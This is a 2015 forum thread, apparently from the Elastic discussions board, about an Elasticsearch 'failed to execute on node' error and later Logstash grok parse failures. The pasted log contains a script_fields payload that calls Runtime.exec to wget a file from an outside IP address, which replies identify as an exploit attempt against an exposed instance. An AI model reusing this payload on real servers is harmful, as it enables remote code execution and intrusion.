Elasticsearch failed to execute on node


(shravankodipaka) #1

Hi all,
I am getting a "failed to execute on node". In elasticsearch log file its showing below error....

org.elasticsearch.transport.NodeDisconnectedException: [Clearcut][inet[/10.129.52.27:9301]][indices:monitor/stats[s]] disconnected
[2015-11-13 01:00:17,651][DEBUG][action.admin.indices.stats] [May Parker] [logstash-2015.11.04][2], node[TBNd6XIrTHqje7vD9qk2tA], [R], s[STARTED]: failed to execute [org.elasticsearch.action.admin.indices.stats.IndicesStatsRequest@15f97fb]...

[2015-11-13 04:00:09,902][DEBUG][action.search.type ] [Kick-Ass] [logstash-2015.11.13][4], node[dbanrtu1QVSj-soqfYn4vg], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@30ec26aa]

org.elasticsearch.search.SearchParseException: [logstash-2015.11.13][4]: query[ConstantScore(:)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.;import java.io.;String str = "";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/04 http://111.74.239.61:8080/04").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append("\r\n");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:747)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:572)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:544)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:306)
at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)

Thanks,
Shravan K.


(David Pilato) #2

I'm curious: Are you trying to enrich results by fetching another content from a webservice?

I guess your query is incorrect. Could you parse it with a Json formatter and if correct paste it here?


(Magnus B├Ąck) #3

Or is this ES instance wide open to the world and someone's trying to exploit it in some way. I wonder if the problem is that the backslashes in the \r\n sequence aren't escaped.


(Ivan Brusic) #4

Looks like the script is trying to download some payload hosted on a
Chinese server. I would agree with Magnus that this is an exploit.


(shravankodipaka) #5

Hi Ivan,

Yes in log file its showing some Chinese symbols.. for that am changed the pattern in logstash conf file

.

Now its loading the data into elasticsearch but showing in Kibana..

November 23rd 2015, 08:07:58.377message:20-Nov-2015 03:00:15.697 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["http-nio-8443"]@version:1@timestamp:November 23rd 2015, 08:07:58.377host:ip-10-129-52-27.ap-southeast-1.compute.internalpath:/usr/share/apache-tomcat-8.0.23/logs/catalina.outtype:tomcatlogstags:_grokparsefailure_id:AVEzYpqk4VOmnknC2AOR_type:tomcatlogs_index:logstash-2015.11.23 November 23rd 2015, 08:07:58.377message:23-Nov-2015 01:10:34.020 INFO [main] org.apache.coyote.AbstractProtocol.pause Pausing ProtocolHandler ["http-nio-8080"]@version:1@timestamp:November 23rd 2015, 08:07:58.377host:ip-10-129-52-27.ap-southeast-1.compute.internalpath:/usr/share/apache-tomcat-8.0.23/logs/catalina.outtype:tomcatlogstags:_grokparsefailure_id:AVEzYpqk4VOmnknC2AOW_type:tomcatlogs_index:logstash-2015.11.23

In kibana its showing tags:_grokparsefailure means? that grok filter is failed..


(system) #6